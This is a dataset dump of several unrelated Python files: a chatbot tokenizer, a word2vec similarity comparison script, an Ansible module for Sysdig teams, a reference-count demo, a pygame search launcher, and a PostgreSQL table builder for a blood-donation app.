Capitalized format is stored\n tmp_id = self.get_word_id(self.multi_words[tmp], keep_case=True,\n add=False)\n tmp_token = \"_tk_\" + str(tmp_id) + \"_kt_\"\n # Replace with the temp token\n del tokens[n:n + m]\n tokens.insert(n, tmp_token)\n\n for token in tokens:\n if token.startswith('_tk_') and token.endswith('_kt_'):\n word_id_list.append(int(token.replace('_tk_', '').replace('_kt_', '')))\n else:\n word_id_list.append(self.get_word_id(token, add=False))\n\n if len(word_id_list) > self.buckets[-1][0]:\n word_id_list = []\n unk_cnt = random.randint(1, 6)\n for i in range(unk_cnt): # Should respond based on the corresponding training sample\n word_id_list.append(self.unk_token)\n\n bucket_id = -1\n if use_bucket == 'Last':\n bucket_id = len(self.buckets) - 1\n else:\n for bkt_id, (src_size, _) in enumerate(self.buckets):\n if len(word_id_list) <= src_size:\n bucket_id = bkt_id\n if use_bucket == 'Next' and bkt_id < len(self.buckets) - 1:\n bucket_id += 1\n break\n\n batch = self._create_batch([[word_id_list, []]], bucket_id) # No target output\n return batch\n\n def word_ids_to_str(self, word_id_list, debug=False, return_if_func_val=False,\n para_list=None):\n \"\"\"\n Convert a list of integers (word_ids) into a human readable string/text.\n Used for prediction only, when debug is False.\n Args:\n word_id_list (list): A list of word_ids.\n debug: Output the text including special tokens.\n return_if_func_val: Whether to include a boolean value, in the returning set, which \n indicates if the output sentence containing a _func_val_** string.\n para_list: The python list containing the parameter real values.\n Return:\n str: The sentence represented by the given word_id_list.\n \"\"\"\n if not word_id_list:\n return ''\n\n sentence = []\n if_func_val = False\n if debug:\n for word_id in word_id_list:\n word = ' ' + self.id_word_dict[word_id]\n sentence.append(word)\n else:\n last_id = 0\n for word_id in word_id_list:\n if word_id == self.eos_token: # End of sentence\n break\n elif word_id > 3: # Not reserved special tokens\n word = self.id_word_dict[word_id]\n if word.startswith('_func_val_'):\n if_func_val = True\n word = call_function(word[10:], tokenized_data=self, para_list=para_list)\n else:\n if word in self.upper_words:\n word = self.upper_words[word]\n\n if (last_id == 0 or last_id in self.cap_punc_list) \\\n and not word[0].isupper():\n word = word.capitalize()\n\n if not word.startswith('\\'') and word != 'n\\'t' \\\n and (word not in string.punctuation or word_id in self.con_punc_list) \\\n and last_id not in self.con_punc_list:\n word = ' ' + word\n sentence.append(word)\n\n last_id = word_id\n\n if return_if_func_val:\n return ''.join(sentence).strip(), if_func_val\n else:\n return ''.join(sentence).strip()\n\n def _create_batch(self, samples, bucket_id):\n \"\"\"\n Create a single batch from the list of given samples.\n Args:\n samples: A list of samples, each sample being in the form [input, target]\n bucket_id: The bucket ID of the given buckets defined in the object initialization.\n Return:\n batch: A batch object\n \"\"\"\n enc_seq_len, dec_seq_len = self.buckets[bucket_id]\n\n batch = Batch()\n batch.bucket_id = bucket_id\n\n pad = self.pad_token\n bos = self.bos_token\n eos = self.eos_token\n\n smp_cnt = len(samples)\n for i in range(smp_cnt):\n sample = samples[i]\n\n # Reverse input, and then left pad\n tmp_enc = list(reversed(sample[0]))\n batch.encoder_seqs.append([pad] * (enc_seq_len - len(tmp_enc)) + tmp_enc)\n\n # Add the and tokens to the output sample\n tmp_dec = [bos] + sample[1] + [eos]\n batch.decoder_seqs.append(tmp_dec + [pad] * (dec_seq_len - len(tmp_dec)))\n\n # Same as decoder, but excluding the \n tmp_tar = sample[1] + [eos]\n tmp_tar_len = len(tmp_tar)\n tar_pad_len = dec_seq_len - tmp_tar_len\n batch.targets.append(tmp_tar + [pad] * tar_pad_len)\n\n # Weight the real targets with 1.0, while 0.0 for pads\n batch.weights.append([1.0] * tmp_tar_len + [0.0] * tar_pad_len)\n\n # Reorganize the data in the batch so that correspoding data items in different samples\n # of this batch are stacked together\n batch.encoder_seqs = [[*x] for x in zip(*batch.encoder_seqs)]\n batch.decoder_seqs = [[*x] for x in zip(*batch.decoder_seqs)]\n batch.targets = [[*x] for x in zip(*batch.targets)]\n batch.weights = [[*x] for x in zip(*batch.weights)]\n\n return batch\n\n def _add_special_tokens(self):\n # Special tokens.\n self.pad_token = self.get_word_id('_pad_') # 0. Padding\n self.bos_token = self.get_word_id('_bos_') # 1. Beginning of sequence\n self.eos_token = self.get_word_id('_eos_') # 2. End of sequence\n self.unk_token = self.get_word_id('_unk_') # 3. Word dropped from vocabulary\n\n # The word following this punctuation should be capitalized\n self.cap_punc_list = []\n for p in ['.', '!', '?']:\n self.cap_punc_list.append(self.get_word_id(p))\n\n # The word following this punctuation should not precede with a space.\n self.con_punc_list = []\n for p in ['(', '[', '{', '``', '$']:\n self.con_punc_list.append(self.get_word_id(p))\n\n def _extract_words(self, text_line):\n \"\"\"\n Extract the words/terms from a sample line and represent them with corresponding word/term IDs\n Args:\n text_line: A line of the text to extract.\n Return:\n sentences: The list of sentences, each of which are words/terms (represented in corresponding \n IDs) in the sentence.\n \"\"\"\n sentences = [] # List[str]\n\n # Extract sentences\n token_sentences = nltk.sent_tokenize(text_line)\n\n # Add sentence by sentence until it reaches the maximum length\n for i in range(len(token_sentences)):\n tokens = nltk.word_tokenize(token_sentences[i])\n\n for m in range(self.multi_max_cnt, 1, -1):\n # Slide the sentence with stride 1, window size m, and look for match\n for n in range(0, len(tokens) - m + 1, 1):\n tmp = ' '.join(tokens[n:n+m]).strip().lower()\n if tmp in self.multi_words:\n # Capitalized format is stored\n tmp_id = self.get_word_id(self.multi_words[tmp], keep_case=True)\n tmp_token = \"_tk_\" + str(tmp_id) + \"_kt_\"\n # Replace with the temp token\n del tokens[n:n + m]\n tokens.insert(n, tmp_token)\n\n word_ids = []\n for token in tokens:\n if token.startswith('_tk_') and token.endswith('_kt_'):\n word_ids.append(int(token.replace('_tk_', '').replace('_kt_', '')))\n else:\n word_ids.append(self.get_word_id(token))\n\n sentences.extend(word_ids)\n\n return sentences\n\n def _load_knbase_and_corpus(self, knbase_dir, corpus_dir, augment):\n \"\"\"\n Args:\n knbase_dir: Name of the folder storing data files for the knowledge base.\n corpus_dir: Name of the folder storing corpus files for training.\n augment: Whether to apply data augmentation approach.\n \"\"\"\n # Load knowledge base\n knbs = KnowledgeBase()\n knbs.load_knbase(knbase_dir)\n\n self.upper_words = knbs.upper_words\n self.multi_words = knbs.multi_words\n self.multi_max_cnt = knbs.multi_max_cnt\n self.stories = knbs.stories\n self.jokes = knbs.jokes\n\n # Load raw text data from the corpus\n raw_text = RawText()\n raw_text.load_corpus(corpus_dir)\n\n conversations = raw_text.get_conversations()\n for conversation in conversations:\n step = 2\n # Iterate over all the samples of the conversation to get chat pairs\n for i in range(0, len(conversation) - 1, step):\n input_line = conversation[i]\n target_line = conversation[i + 1]\n\n src_word_ids = self._extract_words(input_line['text'])\n tgt_word_ids = self._extract_words(target_line['text'])\n\n for bucket_id, (src_size, tgt_size) in enumerate(self.buckets):\n if len(src_word_ids) < src_size and len(tgt_word_ids) <= tgt_size - 2:\n self.training_samples[bucket_id].append([src_word_ids, tgt_word_ids])\n if augment:\n aug_len = src_size - len(src_word_ids)\n aug_src_ids = [self.pad_token] * aug_len + src_word_ids[:]\n self.training_samples[bucket_id].append([aug_src_ids, tgt_word_ids])\n # if bucket_id < len(self.buckets) - 1: # Push to the next bucket\n # aug_len2 = aug_len + 2\n # aug_src_ids2 = [self.pad_token] * aug_len2 + src_word_ids[:]\n # self.training_samples[bucket_id+1].append([aug_src_ids2, tgt_word_ids])\n break\n else:\n print(\"Input ({}) or target ({}) line is too long to fit into any bucket\"\n .format(input_line, target_line))\n\n # if augment:\n # for j in [1, 2]:\n # aug_src_ids = [self.pad_token] * 2 * j + src_word_ids[:]\n # for bucket_id, (src_size, tgt_size) in enumerate(self.buckets):\n # if len(aug_src_ids) <= src_size and len(tgt_word_ids) <= tgt_size - 2:\n # self.training_samples[bucket_id].append([aug_src_ids, tgt_word_ids])\n # break\n # else:\n # print(\"Augmented Input ({}) line @ {} (pad omitted) is too long to fit \"\n # \"into any bucket\".format(input_line, j))\n\n for bucket_id, _ in enumerate(self.buckets):\n self.sample_size[bucket_id] = len(self.training_samples[bucket_id])\n\n\nclass Batch:\n \"\"\"\n An object holds data for a training batch\n \"\"\"\n def __init__(self):\n self.bucket_id = -1\n self.encoder_seqs = []\n self.decoder_seqs = []\n self.targets = []\n self.weights = []\n\nif __name__ == \"__main__\":\n import os\n from settings import PROJECT_ROOT\n\n dict_file = os.path.join(PROJECT_ROOT, 'Data', 'Result', 'dicts.pickle')\n knbs_dir = os.path.join(PROJECT_ROOT, 'Data', 'KnowledgeBase')\n corp_dir = os.path.join(PROJECT_ROOT, 'Data', 'Corpus')\n\n td = TokenizedData(dict_file=dict_file, knbase_dir=knbs_dir, corpus_dir=corp_dir,\n augment=False)\n print('Loaded raw data: {} words, {} samples'.format(td.vocabulary_size, td.sample_size))\n\n # for key, value in td.stories.items():\n # print(\"story name = {}, story content = {}\".format(key, value))\n\n for key, value in td.id_word_dict.items():\n print(\"key = {}, value = {}\".format(key, value))\n\n for bucket_id, _ in enumerate(td.buckets):\n print(\"Bucket {}\".format(bucket_id))\n for sample in td.training_samples[bucket_id]:\n print(\"[{}], [{}]\".format(td.word_ids_to_str(sample[0], debug=True),\n td.word_ids_to_str(sample[1])))","sub_path":"chatbot/tokenizeddata.py","file_name":"tokenizeddata.py","file_ext":"py","file_size_in_byte":20441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"434478102","text":"#!/home/xlin/miniconda3/bin/python\n# -*- coding: utf-8 -*-\n \nimport logging\nimport os.path\nimport sys\nimport multiprocessing\n \nimport numpy as np\nfrom gensim.corpora import WikiCorpus\nfrom gensim.models import Word2Vec\nfrom gensim.models.word2vec import LineSentence\nfrom gensim.models.keyedvectors import KeyedVectors\nfrom scipy import spatial\n\nfrom numpy import dot\nfrom numpy.linalg import norm\n\nfrom sklearn.manifold import TSNE\nimport matplotlib.pyplot as plt\n\nif __name__ == '__main__':\n \n # check and process input arguments\n if len(sys.argv) < 3:\n print(globals()['__doc__'] % locals())\n sys.exit(1)\n \n wv1 = KeyedVectors.load_word2vec_format(sys.argv[1], binary=True)\n wv2 = KeyedVectors.load_word2vec_format(sys.argv[2], binary=True)\n \n lstWord = []\n for oneWord, objVocab in wv1.vocab.items():\n lstWord.append(oneWord)\n \n sumS = 0\n diffS = []\n Smin = 1.0e100\n Smax =-1.0e100\n N = 0\n Nthreshold = 1000\n for ii in range(len(lstWord)):\n w1 = lstWord[ii]\n if (w1 not in wv2.vocab):\n continue \n for ij in range(ii, len(lstWord), 1):\n w2 = lstWord[ij]\n if (w2 not in wv2.vocab):\n continue\n S1 = wv1.similarity(w1, w2)\n S2 = wv2.similarity(w1, w2)\n S0 = (S1 - S2) / 2.0\n if ((N % 100) == 0) :\n print(\"%s %s => %.2f %.2f\" % (w1, w2, S1, S2) )\n diffS.append(S0)\n if (Smin > S0):\n Smin = S0\n if (Smax < S0):\n Smax = S0\n sumS = sumS + S0\n N = N + 1\n if (N == Nthreshold):\n break\n if (N == Nthreshold):\n break\n \n Smean = sumS / N\n sigma = 0\n for ii in range(N):\n diffS[ii] = diffS[ii] - Smean\n sigma = sigma + diffS[ii] * diffS[ii]\n sigma = np.sqrt(sigma/(N-1))\n print(\"%s %s\" % (sys.argv[1], sys.argv[2]))\n print(\"%d, %.2f, %.2f, %.2f, %.2f\" % (N, Smin*100, Smax*100, Smean*100, sigma*100)) \n \n \n \n","sub_path":"word2vec/diffWordPairAll.py","file_name":"diffWordPairAll.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"584848834","text":"DOCUMENTATION = '''\n'''\n\nEXAMPLES = '''\n- name: Delete Team\n sysdig_team:\n token: \"{{ v_token }}\"\n sysdig_url: \"{{ server_url }}\"\n state: absent\n team: test\n\n- name: Edit Team\n sysdig_team:\n token: \"{{ v_token }}\"\n sysdig_url: \"{{ server_url }}\"\n state: present\n team: test\n team_details:\n theme: \"#f70404\"\n description: \"This is a custom Team\"\n memberships:\n \"mori14@hotmail.it\": \"ROLE_TEAM_MANAGER\"\n\n- name: Create Team\n sysdig_team:\n token: \"{{ v_token }}\"\n sysdig_url: \"{{ server_url }}\"\n state: present\n team: test\n\n- name: Remove member\n sysdig_team:\n token: \"{{ v_token }}\"\n sysdig_url: \"{{ server_url }}\"\n state: remove_membership\n team: test\n user: mori14@hotmail.it \n'''\n\n\n#!/usr/bin/python\ntry:\n from sdcclient import SdcClient\nexcept Exception as e:\n module.fail_json(change=False, msg='The sdcclient is missing! '+str(e))\n\n\ndef authentication(sdc_token, sysdig_server, module):\n try:\n sdclient = SdcClient(sdc_token, sdc_url=sysdig_server)\n except Exception as e:\n module.fail_json(change=False, msg='Authentication Error to: '+ str(sysdig_server)+' '+str(e))\n\n return sdclient\n\n\ndef delete_members(module):\n sdc_token = module.params['token']\n sysdig_server = module.params['sysdig_url']\n team_name = module.params['team']\n team_user = module.params['user']\n\n sdclient = authentication(sdc_token, sysdig_server, module)\n\n #Check if the Team exists\n try:\n res = sdclient.get_team(team_name) \n except Exception as e:\n module.fail_json(change=False, msg='Error while checking Team' + str(e))\n\n if not res[0]: #The team does not exists\n module.exit_json(change=False, msg='The Team does not exist')\n else:\n try:\n res = sdclient.remove_memberships(team_name, team_user)\n except Exception as e:\n module.fail_json(change=False, msg='Error while deleting Team' + str(e))\n if res[0]: \n module.exit_json(change=True, msg='User '+team_user+' has been removed '+str(res[1]))\n else:\n module.fail_json(change=False, msg='unable to remove membership '+str(res[1])) \n\n\ndef delete_team(module):\n sdc_token = module.params['token']\n sysdig_server = module.params['sysdig_url']\n team_name = module.params['team']\n\n sdclient = authentication(sdc_token, sysdig_server, module)\n\n #Check if the Team exists\n try:\n res = sdclient.get_team(team_name) \n except Exception as e:\n module.fail_json(change=False, msg='Error while checking Team' + str(e))\n\n if not res[0]: #The team does not exists\n module.exit_json(change=False, msg='The Team does not exist')\n else:\n try:\n res = sdclient.delete_team(team_name)\n except Exception as e:\n module.fail_json(change=False, msg='Error while deleting Team' + str(e))\n\n if res[0] == False:\n module.fail_json(change=False, msg='Could not delete team '+str(res[1]))\n else:\n module.exit_json(change=True, msg='The Team '+team_name+' has been deleted')\n\n\ndef create_team(module):\n sdc_token = module.params['token']\n sysdig_server = module.params['sysdig_url']\n team_name = module.params['team']\n\n sdclient = authentication(sdc_token, sysdig_server, module)\n\n #Check if the Team already exists\n try:\n res = sdclient.get_team(team_name) \n except Exception as e:\n module.fail_json(change=False, msg='Error while checking Team' + str(e))\n\n if not res[0]: #The team does not exist yet\n try:\n res = sdclient.create_team(team_name)\n except Exception as e:\n module.fail_json(change=False, msg='Error while creating Team' + str(e))\n \n if res[0] == False:\n module.fail_json(change=False, msg= 'Team creation failed:'+ str(res[1]) )\n \n # Check if editing is required\n if not module.params['team_details']:\n module.exit_json(change=True, msg='Team '+team_name+' has been created: '+str(res[1]))\n else:\n team_edit = module.params['team_details']\n param = [team_name]\n optional_params = ['memberships','filter', 'description', 'show', 'theme', 'perm_capture', 'perm_custom_events', 'perm_aws_data']\n\n for r in optional_params:\n if r in team_edit:\n param.append(team_edit[r])\n else:\n param.append(None) \n try:\n res = sdclient.edit_team(team_name, \n description=param[3], \n memberships=param[1],\n filter=param[2],\n show=param[4],\n theme=param[5],\n perm_capture=param[6],\n perm_custom_events=param[7],\n perm_aws_data=param[8])\n\n except Exception as e:\n module.fail_json(change=False, msg='Error while editing Team' + str(e))\n if res[0] == False:\n module.fail_json(change=False, msg='Connot edit team' + str(res[1]))\n else:\n module.exit_json(change=True, msg='Team edited '+str(res[1]))\n\n\n\n\ndef main():\n module = AnsibleModule(\n argument_spec = dict(\n token = dict(required=True, no_log=True),\n sysdig_url = dict(required=True),\n team = dict(required=True),\n user = dict(required=False),\n team_details= dict(required=False, type='dict'),\n state = dict(required=True, choices=['present', 'absent', 'remove_membership'] )\n )\n )\n if module.params['state']=='present':\n try:\n create_team(module)\n except Exception as e:\n module.fail_json(change=False, msg=str(e))\n\n elif module.params['state']=='absent':\n try:\n delete_team(module)\n except Exception as e:\n module.fail_json(change=False, msg=str(e))\n\n elif module.params['state']=='remove_membership':\n try:\n delete_members(module)\n except Exception as e:\n module.fail_json(change=False, msg=str(e))\n\nfrom ansible.module_utils.basic import *\nif __name__ == \"__main__\":\n main()\n","sub_path":"Sysdig_modules/library/sysdig_team.py","file_name":"sysdig_team.py","file_ext":"py","file_size_in_byte":6381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"185308844","text":"# -*- coding:utf-8 -*-\nimport sys\n\"\"\"\n\t注意: 魔法方法__del__ 是类的析构方法\n\t\t1.__del__在对象被销毁的时候调用\n\t\t2.对象销毁的情况:\n\t\t\t2.1: 全局函数del 删除该对象的所有引用的时候对象会被销毁\n\t\t\t2.2: 程序执行完毕后回收内存时会销毁所有对象\n\t\t3.全局函数del 删除的只是一个对象的引用,当一个对象的所有引用都被删除之后,\n\t\t\t该对象就被销毁了\n\"\"\"\n#定义类\nclass Person:\n\tage = 30\n\n#创建person对象\np1 = Person()\n\np2 = p1\np3 = p1\n\nnum = sys.getrefcount(p1) #获取p1指向对象的引用有多少个, 其中包含传入的p1的一个新建引用\n\nprint(\"引用的个数为:%d\"%(num -1))\n","sub_path":"面向对象/10魔法方法__del__.py","file_name":"10魔法方法__del__.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"118767536","text":"import pygame\nimport sys\nimport webbrowser\npygame.init()\nscreen_size=(800,60)\ndisp=pygame.display.set_mode(screen_size, pygame.DOUBLEBUF)\nurl=u\"\"\nclock=pygame.time.Clock()\ndefault_font=pygame.font.get_default_font()\nfont=pygame.font.SysFont(default_font,16)\n\ndisp.fill((240,240,240,255))\npygame.display.flip()\nwhile True:\n for event in pygame.event.get():\n print(event)\n disp.blit(font.render(\"Введите что вы хтотите найти:\",True,(30,30,30,255)),(0,0))\n pygame.display.flip()\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n print (url)\n if (url == 'Дневник') or (url == \"дневник\") or (url =='пгу'):\n webbrowser.open('https://oauth20.mos.ru/sps/login.jsp')\n else:\n webbrowser.open('http://www.yandex.ru/yandsearch?text='+url)\n pygame.quit()\n sys.exit()\n else:\n url+=event.unicode\n disp.fill((240,240,240,255))\n disp.blit(font.render(url,True,(30,30,30,255)),(0,10))\n pygame.display.flip()\n clock.tick(24)\nprint(url)\n","sub_path":"Документы/School/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"27876766","text":"\"\"\"\nRetrieves user donation information from donations table and\nCreates a graph as example.png in /assets/images folder\nDeveloper: Andrew Warren\n\nRevision Started : 10/27/2018\nRevision Developer: Nicholas Jones\nRevision Date Complete 10/31/2018\nRevision Notes: Made Program Object Oriented and Dynamic\n\"\"\"\n\nfrom decouple import config\nimport psycopg2\n# from psycopg2.extensions import AsIs\n# from datetime import datetime\n# from django.utils import timezone\n# from random import randint\n# import matplotlib.pyplot as plt\n\n\nclass Tables:\n\n def __init__(self, schema='codeblood'):\n self.schema = schema\n self.table = TableBuilder()\n # self.auth_user(True)\n self.facilities(True)\n self.blood_donor(True)\n # self.money_donor(True)\n # self.time_donor(True)\n self.medical_staff(True)\n self.patient_reviews(True)\n self.patient_forms(True)\n self.vials(True)\n self.donation_stats(True)\n\n \"\"\"\n def auth_user(self, create=True):\n table_name = 'auth_user'\n if create:\n attributes = (\n ('\"id\"', 'SERIAL', 'NOT NULL', 'PRIMARY KEY'),\n ('\"password\"', 'VARCHAR(128)', 'NOT NULL'),\n ('\"last_login\"', 'TIMESTAMP WITH TIME ZONE', 'NOT NULL'),\n ('\"username\"', 'VARCHAR(150)', 'NOT NULL'),\n ('\"first_name\"', 'VARCHAR(30)', 'NOT NULL'),\n ('\"username\"', 'VARCHAR(150)', 'NOT NULL'),\n ('\"email\"', 'VARCHAR(254)', 'NOT NULL'),\n ('\"is_staff\"', 'BOOLEAN', 'NOT NULL'),\n ('\"is_active\"', 'BOOLEAN', 'NOT NULL'),\n ('\"date_joined\"', 'TIMESTAMP WITH TIME ZONE', 'NOT NULL'),\n )\n self.table.build(self.schema, table_name, attributes)\n else:\n self.table.drop(self.schema, table_name)\n \"\"\"\n def facilities(self, create=True):\n table_name = 'facilities'\n if create:\n attributes = (\n ('\"facility_id\"', 'SERIAL', 'NOT NULL', 'PRIMARY KEY'),\n ('\"facility_type\"', 'VARCHAR(30)', 'NOT NULL'),\n ('\"facility_name\"', 'VARCHAR(50)', 'NOT NULL'),\n ('\"is_active\"', 'BOOLEAN', 'NOT NULL'),\n ('\"rating\"', 'FLOAT', 'CHECK(rating > 0)'),\n ('\"established\"', 'TIMESTAMP WITH TIME ZONE'),\n ('\"closed\"', 'BOOLEAN'),\n ('\"last_open\"', 'TIMESTAMP WITH TIME ZONE'),\n )\n self.table.build(self.schema, table_name, attributes)\n else:\n self.table.drop(self.schema, table_name)\n\n def blood_donor(self, create=True):\n table_name = 'blood_donor'\n if create:\n attributes = (\n ('\"patient_id\"', 'SERIAL', 'NOT NULL', 'PRIMARY KEY'),\n ('\"eligible\"', 'BOOLEAN', 'NOT NULL'),\n ('\"blood_type\"', 'VARCHAR(30)'),\n ('\"is_active\"', 'BOOLEAN', 'NOT NULL'),\n ('\"first_donation\"', 'TIMESTAMP WITH TIME ZONE'),\n ('\"last_donation\"', 'TIMESTAMP WITH TIME ZONE'),\n ('\"amount_donated\"', 'FLOAT', 'CHECK(amount_donated > 0.0)'),\n ('\"times_donated\"', 'INT', 'CHECK(times_donated > 0)'),\n ('\"user_id\"', 'INT', 'REFERENCES auth_user(id)')\n )\n self.table.build(self.schema, table_name, attributes)\n else:\n self.table.drop(self.schema, table_name)\n \"\"\"\n def money_donor(self, create=True):\n table_name = 'money_donor'\n if create:\n attributes = (\n ('\"money_id\"', 'SERIAL', 'NOT NULL', 'PRIMARY KEY'),\n ('\"account_type\"', 'VARCHAR(30)', 'NOT NULL'),\n ('\"is_active\"', 'BOOLEAN', 'NOT NULL'),\n ('\"first_donation\"', 'TIMESTAMP WITH TIME ZONE'),\n ('\"last_donation\"', 'TIMESTAMP WITH TIME ZONE'),\n ('\"times_donated\"', 'INT', 'CHECK(times_donated > 0)'),\n ('\"amount_donated\"', 'FLOAT', 'CHECK(amount_donated > 0.0)'),\n ('\"user_id\"', 'INT', 'REFERENCES auth_user(id)')\n )\n self.table.build(self.schema, table_name, attributes)\n else:\n self.table.drop(self.schema, table_name)\n\n def time_donor(self, create=True):\n table_name = 'time_donor'\n if create:\n attributes = (\n ('\"volunteer_id\"', 'SERIAL', 'NOT NULL', 'PRIMARY KEY'),\n ('\"volunteer_type\"', 'VARCHAR(30)', 'NOT NULL'),\n ('\"is_active\"', 'BOOLEAN', 'NOT NULL'),\n ('\"first_donation\"', 'TIMESTAMP WITH TIME ZONE'),\n ('\"last_donation\"', 'TIMESTAMP WITH TIME ZONE'),\n ('\"times_donated\"', 'INT', 'CHECK(times_donated > 0)'),\n ('\"amount_donated\"', 'FLOAT', 'CHECK(amount_donated > 0.0)'),\n ('\"user_id\"', 'INT', 'REFERENCES auth_user(id)')\n )\n self.table.build(self.schema, table_name, attributes)\n else:\n self.table.drop(self.schema, table_name)\n \"\"\"\n def medical_staff(self, create=True):\n table_name = 'medical_staff'\n if create:\n attributes = (\n ('\"medical_id\"', 'SERIAL', 'NOT NULL', 'PRIMARY KEY'),\n ('\"start_date\"', 'TIMESTAMP WITH TIME ZONE', 'NOT NULL'),\n ('\"job\"', 'VARCHAR(30)', 'NOT NULL'),\n ('\"is_active\"', 'BOOLEAN', 'NOT NULL'),\n ('\"level\"', 'INT', 'CHECK(level > 0)'),\n ('\"vacation_days\"', 'FLOAT'),\n ('\"on_vacation\"', 'BOOLEAN'),\n ('\"facility_id\"', 'INT', 'REFERENCES codeblood.facilities(facility_id)'),\n ('\"user_id\"', 'INT', 'REFERENCES auth_user(id)')\n )\n self.table.build(self.schema, table_name, attributes)\n else:\n self.table.drop(self.schema, table_name)\n\n def patient_reviews(self, create=True):\n table_name = 'patient_reviews'\n if create:\n attributes = (\n ('\"review_id\"', 'SERIAL', 'NOT NULL', 'PRIMARY KEY'),\n ('\"date_reviewed\"', 'TIMESTAMP WITH TIME ZONE', 'NOT NULL'),\n ('\"title\"', 'VARCHAR(30)', 'NOT NULL'),\n ('\"rating\"', 'INT', 'NOT NULL', 'CHECK(rating > 0)'),\n ('\"review\"', 'VARCHAR(500)'),\n ('\"is_edited\"', 'BOOLEAN'),\n ('\"patient_id\"', 'INT', 'REFERENCES codeblood.blood_donor(patient_id)'),\n ('\"facility_id\"', 'INT', 'REFERENCES codeblood.facilities(facility_id)'),\n ('\"medical_id\"', 'INT', 'REFERENCES codeblood.medical_staff(medical_id)'),\n )\n self.table.build(self.schema, table_name, attributes)\n else:\n self.table.drop(self.schema, table_name)\n\n def patient_forms(self, create=True):\n table_name = 'patient_forms'\n if create:\n attributes = (\n ('\"form_id\"', 'SERIAL', 'NOT NULL', 'PRIMARY KEY'),\n ('\"last_editor\"', 'SERIAL', 'NOT NULL'),\n ('\"next_eligible\"', 'TIMESTAMP WITH TIME ZONE', 'NOT NULL'),\n ('\"amount_donated\"', 'FLOAT', 'NOT NULL', 'CHECK(amount_donated > 0.0)'),\n ('\"next_appointment_date\"', 'TIMESTAMP WITH TIME ZONE'),\n ('\"last_appointment_date\"', 'TIMESTAMP WITH TIME ZONE'),\n ('\"special_instructions\"', 'VARCHAR(500)'),\n ('\"patient_id\"', 'INT', 'REFERENCES codeblood.blood_donor(patient_id)'),\n ('\"facility_id\"', 'INT', 'REFERENCES codeblood.facilities(facility_id)'),\n ('\"medical_id\"', 'INT', 'REFERENCES codeblood.medical_staff(medical_id)'),\n )\n self.table.build(self.schema, table_name, attributes)\n else:\n self.table.drop(self.schema, table_name)\n\n def vials(self, create=True):\n table_name = 'vials'\n if create:\n attributes = (\n ('\"vial_id\"', 'SERIAL', 'NOT NULL', 'PRIMARY KEY'),\n ('\"vial_type\"', 'VARCHAR(30)', 'NOT NULL'),\n ('\"points\"', 'INT', 'NOT NULL', 'CHECK(points > 0)'),\n ('\"amount_donated\"', 'FLOAT', 'NOT NULL'),\n ('\"patient_id\"', 'INT', 'REFERENCES codeblood.blood_donor(patient_id)'),\n )\n self.table.build(self.schema, table_name, attributes)\n else:\n self.table.drop(self.schema, table_name)\n\n def donation_stats(self, create=True):\n table_name = 'donation_stats'\n if create:\n attributes = (\n ('\"donation_id\"', 'SERIAL', 'NOT NULL', 'PRIMARY KEY'),\n ('\"blood_type\"', 'VARCHAR(30)', 'NOT NULL'),\n ('\"amount_donated\"', 'FLOAT', 'NOT NULL', 'CHECK(amount_donated > 0.0)'),\n ('\"form_id\"', 'INT', 'REFERENCES codeblood.patient_forms(form_id)'),\n )\n self.table.build(self.schema, table_name, attributes)\n else:\n self.table.drop(self.schema, table_name)\n\n\nclass TableBuilder:\n # TODO Build Schema if doesn't exist and delete schema if empty after table removal\n\n def __init__(self):\n self.conn = psycopg2.connect(config('DATABASE_URL'))\n self.write = False\n if self.write:\n open('output.txt', 'w').close()\n\n def build(self, schema, table, attributes):\n if self.__check__(schema):\n if self.__check__(schema, table) is False:\n sql = 'CREATE TABLE {}.{}('.format(schema, table)\n for attrib in attributes:\n for item in attrib:\n sql += '{} '.format(item)\n sql = sql.rstrip()\n sql += '{} '.format(',')\n sql = sql.rstrip(' ,')\n sql += ');'\n if self.write:\n with open('output.txt', 'a') as file:\n file.write('{}\\n'.format(sql))\n else:\n with self.conn.cursor() as cur:\n print(sql)\n cur.execute(sql)\n self.conn.commit()\n print(\"SUCCESS: Schema {} now has the {} relation.\".format(schema, table))\n else:\n print(\"ERROR: Schema {} already has the {} relation.\".format(schema, table))\n else:\n print(\"ERROR: Schema {} doesn't exist.\".format(schema))\n\n def drop(self, schema, table):\n if self.__check__(schema):\n if self.__check__(schema, table):\n sql = \"drop table {}.{}\".format(schema, table)\n with self.conn.cursor() as cur:\n cur.execute(sql)\n self.conn.commit()\n print(\"SUCCESS: Schema {} no longer has the {} relation.\".format(schema, table))\n else:\n print(\"ERROR: Schema {} does not have the {} relation.\".format(schema, table))\n else:\n print(\"ERROR: Schema {} doesn't exist.\".format(schema))\n\n def __check_schema__(self, schema_name):\n with self.conn.cursor() as cur:\n sql = \"SELECT EXISTS(SELECT 1 FROM pg_namespace WHERE nspname = '{}');\".format(schema_name)\n cur.execute(sql)\n return True if cur.fetchone()[0] else False\n\n def __check_table__(self, table_schema, table_name):\n with self.conn.cursor() as cur:\n sql = \"SELECT EXISTS(SELECT * FROM information_schema.tables \" \\\n \"WHERE table_schema = '{}' AND table_name = '{}');\".format(table_schema, table_name)\n cur.execute(sql)\n return True if cur.fetchone()[0] else False\n\n def __check__(self, schema_name, table_name=None):\n if self.__check_schema__(schema_name):\n if table_name is not None:\n if self.__check_table__(schema_name, table_name):\n return True\n else:\n return False\n else:\n return True\n else:\n return False\n\n def __del__(self):\n self.conn.close()\n\n def fill(self, schema, table, entries):\n if self.__check__(schema):\n if self.__check__(schema, table):\n insert = \"INSERT INTO {}.{}\".format(schema, table)\n with self.conn.cursor() as cur:\n for entry in entries:\n attributes, values = '', ''\n for item in entry:\n attributes += \"{}, \".format(item[0])\n values += \"'{}', \".format(item[1])\n attributes = attributes.rstrip(', ')\n values = values.rstrip(', ')\n sql = \"{} ({}) {} ({});\".format(insert, attributes, 'VALUES', values)\n 